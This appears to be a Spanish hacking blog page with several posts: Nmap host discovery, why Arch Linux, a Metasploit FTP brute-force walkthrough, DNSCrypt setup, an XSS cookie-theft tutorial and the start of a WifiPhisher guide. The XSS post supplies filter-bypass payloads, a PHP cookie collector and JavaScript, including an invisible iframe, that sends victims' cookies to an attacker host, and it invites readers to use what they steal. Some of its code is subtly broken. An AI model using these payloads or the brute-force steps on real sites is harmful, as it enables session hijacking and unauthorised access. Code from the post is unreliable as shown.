Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

Mostrando las entradas con la etiqueta archlinux. Mostrar todas las entradas
Mostrando las entradas con la etiqueta archlinux. Mostrar todas las entradas

viernes, 12 de enero de 2018

SecHackLabs: Descubrimiento de equipos con Nmap desde línea de comandos. - #1


En esta sección se muestran los métodos y técnicas de análisis que tiene Nmap, su descripción y funcionamiento, y ejemplos de uso y los paquetes intercambiados. Tras esto, se muestran algunos detalles a tener en cuenta a la hora de planificar y realizar un análisis rápido y efectivo a una red, y el modo en que estos detalles se pueden definir en Nmap.

Harémos énfasis en la duración de esta sección a lo largo de esta serie de post, ya que será en esta sección donde ser verá todas las posibles opciones que podemos añadir a NMap, así mismo se detallará cada una de ellas y se dará ejemplos junto a demostraciones gráficas y análisis de paquetes con el uso de Wireshark.

La sintaxis de Nmap es la siguiente:

nmap [Tipo(s) de análisis] [Opciones] [Objetivos]

Los tipos de análisis y las opciones generalmente comienzan con un guión ("-") a diferencia de los objetivos del análisis. Estos objetivos se pueden definir como direcciones IP, intervalos de direcciones, rangos CIDR o nombres de dominio (estos últimos también aceptan notación CIDR). De este modo, son válidos los objetivos 192.168.10.10, 172.16.128-130.0-255, 10.0.0.0/16 y scanme.nmap.org/28.

TÉCNICAS DESCUBRIMIENTO DE EQUIPOS.

En esta fase, la primera que realiza Nmap, se examina el conjunto de equipos que se ha pasado a Nmap para evaluar aquellos que están activos, y por tanto van a pasar a ser analizados. Existen varios métodos, descritos a continuación, que permiten realizar esta función.

1. NO PING (-Pn)

Esta opción evita completamente que Nmap realice la fase de Descubrimiento de Equipos. Es útil si se desea que todos los objetivos especificados sean considerados como activos, y de este modo se realice un escaneo de puertos en todos ellos, sin excepción.

El uso de esta opción puede tener una notable incidencia negativa en el rendimiento de un escaneo a gran escala, puesto que un escaneo de puertos contra una máquina inalcanzable consumirá mucho más tiempo, debido que vencerán todos los temporizadores de las respuestas esperadas a cada sonda enviada. Por otra parte, esta opción puede ser de utilidad si en la red analizada se bloquea, al menos en parte, el tráfico ICMP, que es el utilizado por defecto en la fase de descubrimiento de equipos. En versiones anteriores de Nmap, esta opción se activaba con los modificadores -P0 o -PN.

2. LIST SCAN (-sL)

Esta opción únicamente lista los objetivos dados como argumentos, sin enviar paquete alguno a éstos. Por defecto, Nmap realiza una resolución DNS inversa de los equipos a analizar, así que si se selecciona este método, los paquetes relacionados con esta resolución serán los únicos que se enviarán. Esta es una opción especialmente sigilosa (no intrusiva) con la cual obtener información potencialmente valiosa, y que puede servir también para comprobar que no se va a analizar ningún activo fuera de nuestro alcance.

La siguiente figura muestra el resultado textual de la invocación del comando.



3. NO PORT SCAN (-sn)

También conocida como Ping Scan o Ping Sweep. Esta opción, cuando se indica de forma explícita, instruye a Nmap para que no realice un análisis de los puertos tras completar una fase estándar de descubrimiento de los equipos activos dentro del listado de equipos a analizar, a excepción de los análisis de scripts (--script) o de rutas (--traceroute), si se indican de forma explicita. Si no se indica ninguna opción de descubrimiento de equipos, Nmap realiza por defecto las comprobaciones que se indican a continuación para tratar de descubrir los equipos que están activos y los que no, antes de iniciar la siguiente fase de análisis de puertos, para que esta sea más rápida.

Esta técnica es sensiblemente intrusiva ya que envía varias sondas a los objetivos, a diferencia del List Scan donde no se envía ninguna sonda a los objetivos, y suele utilizarse con el mismo fin. Permite realizar un reconocimiento ligero de la red objetivo de forma notablemente sigilosa. Esta técnica es igualmente útil para administradores que deseen de manera sencilla contabilizar  el número de máquinas activas en su red, o monitorizar la disponibilidad de sus servidores.

Si se ejecuta sin privilegios de administración, Nmap utiliza las llamadas al sistema connect para conectarse a los puertos 80 y 443 de los objetivos. En cambio, si el usuario tiene permisos administrativos se envía por defecto un paquete TCP ACK al puerto 80 (-PA), un TCP SYN (-PS) al 443 además de un paquete ICMP Echo Request y un ICMP Timestamp Request, salvo cuando el usuario especifica otros parámetros, en cuyo caso este sirve únicamente para indicar que no se debe continuar con la fase de análisis de puertos. Si el objetivo es local a la propia subred, se utilizará únicamente paquetes ARP (-PR).

En versiones anteriores de Nmap, esta técnica se activaba con el modificador -sP. En la siguiente figura se muestra como Nmap descubre dos objetivos de forma totalmente distinta. El primero, al encontrarse en la misma subred que el origen es descubierto mediante una Ping ARP. Al segundo objetivo se le envían dos sondas, un paquete ICMP Echo Request y un Ping ACK, respondiendo solamente a la primera.


** Sin root **


** Cómo root **


En las figuras anteriores se puede comprobar la diferencia entre ejecutar el mismo comando en un equipo sobre el que se tienen privilegios de administración y en otro sobre el que no se tienen permisos. En el segundo caso, se utilizan únicamente llamadas al sistema, por lo que siempre se realizan conexiones completas, a diferencia de en el equipo donde si se tienen privilegios.

4. PING ARP (-PR)

Uno de los escenarios en los que con más frecuencia se usa Nmap es para escanear redes locales Ethernet. Estas redes suelen tener muchos host inactivos, por lo que el proceso de escaneo basado en paquetes IP (ICMP echo request), que implica una resolución ARP anterior en cada caso, es notablemente lento, debido a los retardos introducidos por el sistema operativo en el envío de paquetes y al tamaño limitado de la cache ARP.

Esta técnica utiliza un algoritmo optimizado para realizar peticiones ARP, superando así las limitaciones de los sistemas operativos, que no están diseñados para hacer peticiones masivas. Debido a su especial fiabilidad y rapidez, no es necesario realizar pings IP si se recibe respuesta ARP para conocer si un equipo es alcanzable.

Esta técnica se utiliza por defecto cuando Nmap detecta que los equipos a analizar pertenecen a su misma red local, aunque no se especifique de forma explicita. Si se quiere evitar que se realice esta comprobación, se debe añadir el parámetro -send-ip, que evita que Nmap tome control del análisis ARP y únicamente envíe paquetes de tipo IP.

Las siguientes figuras muestran cómo el origen envía un ARP Request a la dirección de broadcast y el objetivo se descubre a sí mismo respondiendo con un ARP Response. Finalmente obtiene información adicional con una consulta al DNS inverso.




5. PING TCP SYN (-PS<listado de puertos>)

Esta técnica, si no se añade ningún puerto, envía al objetivo un paquete TCP vacío con el flag SYN activado al puerto 80. Se puede indicar un listado de puertos sobre los que realizar este análisis, separándolos por comas o introduciendo intervalos separados por un guión (p.ej. -PS22-25,80,443,8080).

El flag SYN indica al destino el deseo de establecer una conexión TCP por el origen. En este punto no interesa saber si el puerto analizado está abierto o cerrado, por lo que si Nmap recibe una respuesta de cualquier tipo del destino (ya sea un paquete RST indicando que el puerto está cerrado, o un paquete SYN/ACK indicando que se continua con el inicio de sesión TCP), NMap sabrá que el objetivo es alcanzable. Si por el contrario expira el temporizador, el destino se marcará como inalcanzable.

Si el usuario no tiene privilegios, se utiliza de forma automática una alternativa que consiste en enviar una solicitud de conexión TCP a través del sistema operativo (se utiliza la llamada del sistema connect). Del mismo modo que para un usuario privilegiado, si se recibe respuesta del objetivo, se sabe que este es alcanzable.

Este comportamiento, el uso de la llamada del sistema connect, también se utilizaba en versiones anteriores de Nmap para el análisis de redes IPv6, donde se utilizaban las funcionalidades proporcionadas por el sistema operativo. En la versión 6 se ha añadido la funcionalidad de generación de paquetes IPv6 en Nmap, por lo que se eliminan las restricciones de generación de paquetes impuestas por el sistema operativo para realizar análisis.

La eficacia de esta técnica es limitada, dado que muchos cortafuegos bloquean los paquetes SYN como medida preventiva para evitar el establecimiento de una conexión. En este caso la efectividad puede aumentar si se usa la técnica de Ping TCP ACK, descrita a continuación.




A continuación le añadiremos 3 puertos a la opción -PS de NMap y veremos cómo envia paquete a los 3, pero a la primera respuesta, finaliza el escaneo ya que el host es alcanzable.



6. PING TCP ACK (-PA<listado de puertos>)

El funcionamiento de esta técnica es idéntica a la de Ping TCP SYN, con la excepción de que ésta envía un paquete TCP al puerto 80 con el flag ACK activado. También se pueden añadir más puertos, indicando a continuación el listado de puertos sobre los que realizar este análisis, con el mismo formato que en casos anteriores.

Cuando un equipo recibe este tipo de paquetes sin existir previamente una conexión establecida, en principio deben responder con un paquete RST revelando de este modo su presencia. Esta técnica complementa la anterior al aumentar las posibilidades de traspasar filtros intermedios, como herramientas cortafuegos sin estado, debido a que muchos administradores configuran solamente reglas para interceptar paquetes entrantes SYN y no ACK. Los cortafuegos con estado suelen interceptar con éxito los paquetes inesperados, como el enviado con esta técnica, debido a que no se corresponde con ninguna sesión registrada previamente por un paquete SYN entrante. Una solución eficaz es combinar esta técnica con la anterior para que ambas sondas, SYN y ACK, sean enviadas.

En la siguiente figura se puede comprobar cómo esta técnica envía un TCP ACK al puerto 80 del objetivo como si tratara de asentir la recepción de un hipotético paquete enviado durante una conexión establecida. El objetivo niega que haya habido conexión alguna enviando un paquete RST, revelando con ello su presencia.



Esperamos que este post haya sido de su utilidad, cualquier duda o sugerencia pueden dejarla en los comentarios.

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

miércoles, 1 de noviembre de 2017

¿Por qué ArchLinux?




Hace varios meses hemos estado recibiendo comentarios sobre el por qué de nuestra inclinación a la distribución ArchLinux al momento de hacer publicaciones, vídeos y demás. En un post anterior sobre hardening encontramos un comentario el cual nos decía lo siguiente:

" Buenos días, las pruebas se harán en Archlinux, necesito entender:

¿Porqué Archlinux?
¿La instalación es más compleja que en otras distros, como Debian o Ubuntu?
¿Se asemeja Archlinux a Kalilinux?

Gracias de antemano. "

 A lo largo de este post vamos a responder esas preguntas, pero sobre todo nos extenderemos en la explicación de "Por qué ArchLinux".

¿Por qué ArchLinux?

1. Porque es Rolling Release. Es decir, Arch Linux se actualiza continuamente. No es necesario esperar a que se libere una versión más actualizada para disponer del último software, características de seguridad, etc… De hecho, en nuestra opinión, esta actualización continua es más segura que actualizar, por ejemplo, entre versiones de Ubuntu, donde más de uno se ha encontrado con problemas.

2. Porque es extremadamente ligero. Arch Linux mantiene el principio KISS (Keep It Simple, Stupid), es decir, mantenlo sencillo, estúpido. El principio KISS establece que la mayoría de sistemas funcionan mejor si se mantienen simples evitando así cualquier complejidad innecesaria. De ahí que en Arch Linux tengamos activados solamente los servicios que vamos a utilizar, o no tengamos cantidades ingentes de librerías instaladas que no vamos a utilizar nunca, por ejemplo.

3. Porque es extremadamente personalizable. La instalación de Arch Linux no incluye entorno gráfico, y cuando lo instalas viene con el sistema base, dejándote así elegir por ti mismo instalar las aplicaciones que prefieras.

4. Porque aprenderás muchísimo sobre Linux. Para poder instalar, configurar y mantener Arch Linux, tendrás que “meter la mano” en bastantes archivos de configuración y tirar bastante de la consola. ¡Aprenderás casi sin darte cuenta!

5. Porque dispone de la mejor documentación. La Wiki de Arch Linux es completísima y fácil de seguir. Si tienes alguna duda sobre cómo configurar algo seguro que lo encuentras en la Wiki. Además la Wiki es consultada no solo por usuarios de ArchLinux, es tan amplia la documentación que sirve para todas las distribuciones GNU/Linux, ArchLinux posee la Wiki más completa de todo GNU/Linux.

6. Porque dispone de una comunidad siempre dispuesta a ayudar. Generalmente las comunidades GNU/Linux tienen un problema: Ofenden a los novatos por hacer pregunas "básicas" sin antes documentarse, además de odiar Windows. En ArchLinux no sucede eso, es una comunidad muy unida y dispuesta a resolver cualquier problema, con algunas excepciones, claro.

7. Porque solo tiene cinco repositorios y AUR. Con sus cinco repositorios oficiales (Community, Core, Extra, Multilib, Testing[Opcional]) y AUR, en ArchLinux tienes disponibles cuantos paquetes necesites. No es necesario agregar algún otro repositorio para instalar paquetes que no están en los repositorios oficiales.

8. Porque su gestor de paquetes es pacman. Pacman es tan genial como apt, salvo porque es más sencillo de usar, los comando son más cortas y es muchísimo más rápido.

9. Porque es muy estable. Seguro que Debian es muy estable, pero con todas las ventajas que he mencionado antes, ArchLinux está al 95% del nivel de estabilidad si tomamos a Debian cómo base, ¿Qué más se puede pedir?

¿La instalación es más compleja que en otras distros, como Debian o Ubuntu?

Sí, ya que no dispone de un instalador gráfico oficial pero no es algo del otro mundo, en este post explicamos detalladamente cómo hacerlo.

¿Se asemeja Archlinux a Kali Linux?

Cómo mencionamos antes, ArchLinux se puede moldear a tu antojo y hacerla similar a cualquier otra distribución, sin embargo si deseas una distribución basada en ArchLinux y enfocada al pentesting de inmediato, te recomendamos BlackArch, si deseas ser más profesional y convertir ArchLinux en una distribución de Pentesting, lee este post.

https://blackarch.org/images/slider/ba-slider2.pnghttps://blackarch.org/images/slider/ba-slider.png


El mundo GNU/Linux tiene muchas opciones de todos los colores y sabores, nosotros recomendamos ArchLinux.

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios en bien, en los medios que indicamos a continuación.
Síguenos en Facebook, Twitter, unete a nuestra charla en Riot (Para charlar con nosotros online) o únete a Telegram.

También puedes dejar su donación a nuestra cuenta Paypal.



domingo, 1 de octubre de 2017

Fuerza bruta a servidor ftp con Metasploit



En la mayoría de los servidores hay una vulnerabilidad común que es un puerto ftp abierto. Puede ser explotado por fuerza bruta su nombre de usuario y contraseña. Esto es exactamente lo que vamos a hacer. Exploraremos un servidor web con un puerto ftp abierto.

Hay un par de cosas que usted necesita hacer esto:
  • Necesita es Msfconsole, en Kali o BlackArch se encuentra pre-instalado 
Dos listas de palabras o diccionarios con posible usuarios y claves.
 
Buen articulo que lo puedes encontrar en https://tirateunping.wordpress.com/2016/09/19/encuentran-cerca-de-800-000-servidores-ftp-accesibles-sin-contrasena/

Una vez que lo tenemos, estamos bien para ir a la terminal.

Así que abre tu terminal como root. Iniciamos el servicio y actualizamos la base de datos de  postgresql:

service postgresql start (KaliLinux)

systemclt start postgresql (BlackArch) 
 

msfconsole


Comenzamos a encontrar la dirección IP de su sitio web y un puerto ftp abierto. Así que vamos a realizar un análisis rápido con Nmap.
Puede ejecutar los comandos de Nmap dentro msfconsole consola así que no se molestó en abrir otra terminal para la exploración Nmap. Escriba el siguiente comando:

nmap -F hostname

Ahora tenemos nuestro objetivo. Tenemos que encontrar nuestro exploit. Para este ataque utilizaremos ftp_login exploit. Así escriba el siguiente comando.

search ftp_login


Descubre más información sobre ftp_login escáner con el siguiente comando. se abrirá el uso, la descripción y las opciones que se pueden utilizar con esta hazaña. Hay un montón, pero casi no necesitan 4 puede ser 6 opciones sólo tiene que ir a través de todos para encontrar más información.

info auxiliary/scanner/ftp/ftp_login


Sólo tiene que escribir el comando siguiente para utilizar exploit

use  auxiliary/scanner/ftp/ftp_login

show options


ahora necesitamos configurar la opción RHOST dando dirección IP de tu destino. Sólo dé la dirección IP del sitio web.

set RHOSTS dirección ip destino

Establecer las conexiones que establece la velocidad o la cantidad de múltiples procesos que desea ejecutar a la vez.

set THREADS 40

Ahora aquí comienza el verdadero trabajo.

Establecer la ruta de nombres de usuario de archivos. Aquí es donde se toman y explotar los nombres de usuario para iniciar sesión.

set USER_FILE Desktop/usernames.txt

Ahora establecer la ruta de la lista de contraseñas.

set PASS_FILE Desktop/password.txt

Ahora todo está listo. Ejecutar el exploit. Ahora empieza a probar nombres de usuario y contraseñas si encuentra el nombre de usuario y la contraseña, entonces dejará de probar y mostrará el mensaje de inicio de sesión con éxito, junto con el nombre de usuario y la contraseña.


Otra cosa que puedes hacer es usar un único nombre de usuario. Así que en lugar de utilizar una lista de palabras que puede utilizar algunos nombres de usuarios comunes como root, admin, etc. Por lo tanto, se llevará a raíz que el nombre de usuario y buscará las contraseñas de las listas de palabras.

set USERNAME root

Una vez que modifiquemos los parámetros USERNAME y PASSWORD por los correctos, lanzaremos el exploit y estaremos dentro del servidor conectados por FTP.

Con esto finalizamos nuestro post y esperamos que sea de su agrado, cualquier duda o sugerencia pueden dejarla en sus comentarios.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot (Para charlar con nosotros online).

domingo, 10 de septiembre de 2017

¡Hackeando tu ISP!. Instalación y configuración de DNSCrypt en GNU/Linux.


El día de hoy les explicaremos que es DNSCrypt, para que sirve, cómo funciona y también detallaremos paso a paso cómo configurarlo en nuestro sistema GNU/Linux para de esa manera obtener una conexión encriptada, de tal manera que nisiquiera nuestro ISP (Proveedor de Servicios) pueda conocer lo que realizamos a diario.

¿Que es DNSCrypt?

DNSCrypt es un protocolo que cifra y autentica las comunicaciones entre el usuario y un servicio de resolución DNS, evita la suplantación de DNS y utiliza firmas criptográficas para verificar que las respuestas provienen del servicio de resolución DNS elegido y no han sido manipuladas.

Es un protocolo abierto, con implementaciones de código abierto y gratuito, y no está afiliada a ninguna empresa u organización. DNSCrypt está disponible para la todas las plataformas en computadoras y dispositivos móviles.

Toma el control de tu tráfico DNS

Además de implementar el protocolo, los clientes comunes de DNSCrypt le dan mucho control sobre el tráfico de DNS.

Utilice dnscrypt-proxy para:

1. Comprobar el tráfico de DNS procedente de su red en tiempo real y detecte hosts y aplicaciones comprometidos en su red.

2. Bloquee localmente anuncios, rastreadores, malware, spam y cualquier sitio web cuyos nombres de dominio o direcciones IP coincidan con un conjunto de reglas que defina.

3. Evitar que las consultas de las zonas locales no se filtren.

4. Reduzca la latencia (tiempo que se necesita para trasmitir datos de un punto a otro en una red) mediante el caché de respuestas y evite solicitar direcciones IPv6 en redes IPv4 solamente.

5. Forzar el tráfico para utilizar TCP, para enrutarlo a través de túneles TCP o simplemente usando Tor.

Instalación.

DNSCrypt se encuentra disponible en la mayoría de distribuciones GNU/Linux desde sus repositorios. Para su instalación en Debian y ArchLinux basta con ejecutar las siguiente órdenes:

ArchLinux: pacman -S dnscrypt-proxy
Debian: apt install dnscrypt-proxy

Adicionalmente puede descargarlo desde su página oficial.

Configuración

DNSCypt proporciona un archivo de configuración cómo ejemplo en /etc/dnscrypt-proxy.conf.example, pero tenga en cuenta que systemd reemplaza la opción LocalAddress con un archivo de socket.

Para configurar DNSCrypt sin problemas sigue los siguientes paso:

Selecciona un servicio de resolución DNS.

Para seleccionar un servicio de resolución DNS adecuado para ti, puedes visitar la página https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv o bien desde tu archivo /usr/share/dnscrypt-proxy/dnscrypt-resolvers.csv, usando un nombre corto de los que aparecen en la columna "name" de la página mencionada.

En la imagen anterior un ejemplo de ellos sería bn-fr0.

Lo que debes hacer es cambiar tu archivo /etc/dnscrypt-proxy.conf en el apartado Resolver Settings cómo se muestra a continuación:


También es necesario configurar de manera correcta el apartado ResolversList dentro del archivo /etc/dnscrypt-proxy.conf añadiendo en seguida la ruta donde se encuentra el archivo dnscrypt-resolvers.csv. Es recomendable mantener ese archivo actualizado lo cual puedes hacer copiando, pegando y guardando dentro del archivo lo que está en este link.

También es altamente recomendable realizar lo siguiente:

1. Crea un nuevo usuario llamado dnscrypt usando el siguiente comando sudo adduser -m -N  -r -s /bin/false dnscrypt y enseguida edita el archivo /etc/dnscrypt-proxy.conf en la opción User de la siguiente manera:

User dnscrypt




Modifica el archivo /etc/resolv.conf

Después de realizar el procedimiento anterior, modifica el archivo /etc/resolv.conf reemplazando el contenido existente con:

nameserver 127.0.0.1

Sin embargo existen programas que pueden modificar este archivo, para evitarlo realizaremos los siguientes pasos:

1. Si usas Network Manager edita el archivo /etc/NetworkManager/NetworkManager.conf añadiendo las siguiente líneas:
[main]
dns=none

2. Si usas DHCP modifica el archivo /etc/dhcpcd.conf añadiendo la siguiente línea al final:

nohook resolv.conf

3. Opcionalmente para un mejor rendimiento puedes añadir la siguientes línea en /etc/resolv.conf:

options timeout:1

4. Protege el archivo /etc/resolv.conf contra escritura usando el siguiente comando:

chattr +i /etc/resolv.conf

5. Iniciamos el servicio usando el comando systemctl start dnscrypt-proxy y del mismo modo lo añadimos a la lista de servicios que inician automáticamente con el sistema mediante el comando systemctl enable dnscrypt-proxy. Con esto ya debemos tener nuestro DNSCrypt configurado y funcionando en nuestro sistema, para asegurarnos ejecutamos systemctl status dnscrypt-proxy y debemos obtener algo cómo esto:


¿Qué hago si el comando systemctl start dnscrypt-proxy no funciona (Problema comprobado en Fedora)?

La primera opción es que ejecutes directamente desde la terminal el comando dnscrypt-proxy /etc/dnscrypt-proxy.conf y con esto ya debería funcionar, pero dado que es incómodo tener que ejecutarlo siempre, vamos a crear un servicio para poder iniciarlo con systemctl y añadirlo a la lista de servicios que inician con el sistema, para eso hacemos lo siguiente:

1. Creamos el archivo /usr/lib/systemd/system/dnscrypt-proxy.service con nuestro editor de textos favorito y copiamos y pegamos el siguiente contenido:

[Unit]
Description=dnscrypt - Encrypted DNS service provided by OpenDNS
After=NetworkManager.service

[Service]
ExecStart=/usr/sbin/dnscrypt-proxy /etc/dnscrypt-proxy.conf

[Install]
WantedBy=multi-user.target


2. Guardamos el archivo y ejecutamos el comando systemctl daemon-reload. 

3. Realizamos lo descrito en el paso 5 de la sección anterior.

Finalizando.

Tip: Busca en el archivo /etc/dnscrypt-proxy.conf la opción LocalCache y asegurate que esté desmarcada y On, así:

## Cache DNS responses to avoid outgoing traffic when the same queries
## are repeated multiple times in a row.

LocalCache on
También podemos comprobar que DNSCrypt está funcionando mediante el uso del comando dig, para lo cual necesitamos instalar previamente el paquete bind-tools mediante el gestor de paquetes de su distribución, una vez instalado ejecutamos dig debug.opendns.com txt y debemos obtener algo así en la salida de la terminal:


Con esto finalizamos este post, esperamos que haya sido de su agrado.  

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.



viernes, 8 de septiembre de 2017

Parte 2: Cross Site Scripting (XSS): Robo de cookies y modificación de un sitio web (persistente y reflejado).



En un post anterior explicamos los peligros de tener o hallar una vulnerabilidad XSS en un sitio web, así como los tipos de XSS que existen y la manera de explotarlos. Hoy vamos a ver las tecnicas más avanzadas que existen al momento de querer explotar un fallo XSS.

Metodo 1: Reemplazando <script> con una sentencia nula "".


Aquí hay un código que tiene un filtro para detectar ataques XSS, sin embargo es vulnerable a XSS Reflejado modificando un parámetro.

<?php
if(!array_key_exists ("nombre", $_GET) || $_GET['nombre'] == NULL || $_GET['nombre'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hola ' . str_replace('<script>', '', $_GET['nombre']);
echo '</pre>';
}
?>

Cómo puedes ver en el código anterior, el developer añadió un filtro que reemplaza la cadena "<script>" con el sting nulo "". Una manera de bypassear este filtro es, en lugar de "<script>" escribir "<SCRIPT>" en mayúscula, ya que el developer solo filtra el texto "<script>" en minúscula. La manera de bypassear este filtro sería: <SCRIPT>.......</SCRIPT>

Otra manera de bypassear el filtro anterior es usando la siguiente sentencia

<script type=text/javascript>alert("XSS")</script>

Tenga en cuenta que usar las siglas XSS para probar si un sitio web es vulnerable a dicho ataque es una mala idea, la mayoría de sitios bloquean peticiones que contienen esas letras.

Metodo 2: Filtración de magic quotes (carácteres especiales).

En esta tecnica el desarrollador del sitio web, usa una funcion PHP llamada "addslashes()" que añade un slash "/" antes de cualquier carácter especial. Por eso el tradicional código que se usa para pruebas XSS no funciona.

Sin embargo hay varias maneras de bypassear este filtro que discutimos a continuación.

1. El metodo más facíl de bypassear este filtro es justamente no usando magic quotes, por ejemplo declarando una variable y asignando un número a ella, luego generando un mensaje con esa variable de este modo:

<script>var val= 1; alert(val)</script>

2. Este metodo es un poco más avanzado, consiste en utilizar una función incluida en JavaScript que permite convertis valores decimales a ASCII, usted puede encontrar una tabla completa de valores ASCII aquí http://www.asciitable.com/  esto puede ayudarte a escribir lo que tu quieres o también puedes usar el convertidor de DuckDuckGo el cual te ayuda a convertir múltiples tipos de textos a otros formatos, en este casi de ASCII a decimal. Si deseamos por ejemplo escribir "XSS" en nuestro caso el equivalente en decimal es "88 83 83", ahora que tenemos nuestro valor decimal necesitamos saber que función de JavaScript convierte de decimal a ASCII, esta función se llama "String.fromCharCode()" y para usar esta con un script de alerta lo haríamos de la siguiente manera:

<script>alert(String.fromCharCode(120, 115, 115)</script>

Ahora la página nos debería mostrar el texto "XSS" en pantalla, este método es muy eficiente para bypassear la protección anteriormente mencionada.

Realizando el robo de cookies.

Probablemente haya oído acerca del robo de cookies y cómo pueden estas ser usadas para iniciar sesiones en un sitio web, servidor, etc. Debes estar pensando que realizar un robo de cookies es un trabajo difícil y que tomará mucho tiempo, sin embargo es algo muy simple y fácil, solo necesitamos unas bases de programación y un sitio vulnerable a XSS.

Lo que necesitamos para realizar el robo de cookies es lo siguiente: Crear un script PHP llamado recolector_de_cookies.php, subiremos este a una compañía de hosting, luego injectaremos un código JS malicioso que enviará las cookies a nuestro sitio web malicioso y cuando nuestro archivo PHP recibe la información la guardará en un archivo llamado cookie_robada.txt. ¿Fácil verdad?

Entonces necesitamos lo siguiente:

* Un script PHP que reciba la cookie.
* Un código JS que envíe la cookie a nuestro sitio web malicioso.
* Una compañía de hosting que te permita subir el script PHP.

1. recolector_de_cookies.php


Aquí he creado un script que puede ser usado con esa finalidad, el cual recolecta y guarda la cookie en un archivo llamado cookie_robada.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie_robada.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
?>
 
Para entender lo que hace este script:

$collectedCookie=$HTTP_GET_VARS["cookie"]; 
Esta línea guarda los datos que están almacenados en la variable llamada cookie dentro de la variable llamada collectedCookie.

$date=date("l ds of F Y h:i:s A");
Esta línea guarda los datos en que se realizó el robo de la cookie.

$user_agent=$_SERVER['HTTP_USER_AGENT'];
Aquí guardamos el User Agent usado por la víctima al momento de iniciar sesion, puede servir para futuros ataques en caso de ser requerido.

$file=fopen('cookie_robada.txt','a');
Aquí creamos el archivo cookie_robada.txt el cual guarda la información almacenada en las cookies de la víctima.

fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
Aquí guardamos los datos en el formato ("FECHA: || User Agent || COOKIE").

fclose($file);
Cerramos el archivo.

echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
Imprimimos el mensaje "Lo sentimos, esta página está en construcción" y ofrecemos un link que los redirige a google.

Aquí terminamos con el archivo que nos será de utilidad para robar las cookies.

2. Código JavaScrip.

Este es un código JS que puede ser inyectado en el servidor o en el navegador de la víctima. Podemos usar cualquiera de los siguientes scripts:

<a onclick="document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);" href="#">Click aquí para detalles.</a>

Este script necesita la interacción del usuario ya que ofrecemos un link al usuario que debe clickearlo, el cual lo redireccionará a nuestro sitio web malicioso que se encargará de recolectar toda la información.

<iframe width='0' height='0' frameborder='0'
src='<script>document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);</script>' />

Este script no necesita ningún tipo de interacción ya que inyecta directamente el sitio web la victima y además es invisible a la victima que no puede ver nada cuando la conexión es establecida y de este modo podemos robar la información.

Una vez realizado con éxito el ataque podemos buscar en nuestro hosting el archivo llamado cookie_robada.txt y darle los usos que consideremos pertinentes. 

Nota: Vabe la pena resaltar que en los scripts anteriores debemos cambiar la variable document.location por  document.location='http://nuestrohosting.com/recolector_de_cookies.php?cookie='+escape(document.cookie);

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.



martes, 5 de septiembre de 2017

Realizando pruebas de Hacking WiFi usando WifiPhisher, parte 1.



WifiPisher (como su nombre lo indica) es una herramienta automatizada que realiza ataques de suplantación de puntos de acceso WiFi ya sea para robar credenciales o enviar malware. Esta herramienta sigue el principio propio de la Ingeniería Social sin necesidad de recurrir a otro tipo de ataques (Bruteforce / fuerza bruta) por ejemplo. WifiPisher es de código abierto y se distribuye bajo la licencia GPL, puede ser descargada aquí o desde github.

Cómo funciona WifiPhiser.

Después de lograr una posición de Man-In-The-Middle usando el ataque de Twin o KARMA Evil, Wifiphisher redirecciona todas las solicitudes HTTP a una página de phishing controlada por el atacante.

Desde la perspectiva de la víctima, el ataque se utiliza en tres fases:

1) La víctima es desautenticada de su punto de acceso . Wifiphisher congela continuamente todos los dispositivos Wi-Fi del punto de acceso objetivo dentro del rango forjando paquetes "Deauthenticate" o "Disassociate" para interrumpir las asociaciones existentes. 

2) La víctima se une a un punto de acceso falso. Wififhiff olfatea el área y copia la configuración del punto de acceso de destino. A continuación, crea un punto de acceso inalámbrico que es modelado por el objetivo. También configura un servidor NAT / DHCP y reenvía los puertos correctos. Por consiguiente, debido al bloqueo, los clientes eventualmente empezarán a conectarse al punto de acceso falso. Después de esta fase, la víctima es MiTMed. Además, Wifiphisher escucha los marcos de solicitud de sondeo y falsifica las redes abiertas "conocidas" para causar asociación automática. 

3) La victima se está sirviendo una página de phishing realista especialmente personalizada . Wifiphisher emplea un servidor web mínimo que responde a las solicitudes HTTP y HTTPS. Tan pronto como la víctima solicite una página de Internet, wifiphisher responderá con una página falsa realista que pide credenciales o sirve malwares. Esta página será diseñada específicamente para la víctima. Por ejemplo, una página de configuración router contendrá logotipos del proveedor de la víctima. La herramienta admite plantillas creadas por la comunidad para diferentes escenarios de suplantación de identidad. A continuación una imagen de cómo funciona: 



Requisitos de instalación:

* La herramienta está especialmente diseñada para Kali Linux, todas las nuevas características que se añadan se probarán primero en la distribución mencionada por lo tanto si deseas tenerlas, instala Kali Linux.

Nota: Si has seguido nuestros post y tienes ArchLinux configurada como tu distribución de pentesting o en su caso BlackArch, puedes instalarla usando el comando: pacman -S wifiphisher.

* Un dispositivo WiFi que soporte el modo AP (Acces Point Mode) o modo de punto de acceso, es necesaria para crear nuestra red inalámbrica falsa.
* Un dispositivo WiFi que soporte el modo Monitor para poder capturas todas las señales y el tráfico que haya en las redes WiFi disponibles. Si no tienes una segunda tarjeta WiFi, puedes correr el script usando la opción --nojamming, aunque esta también desactivará el ataque de desauteticación a las victimas.

Instalación:

Para realizar el proceso de instalación lo podemos hacer de dos maneras:

Desde el gestor de paquetes:

Kali Linux/Parrot Securtiy: apt install wifiphisher
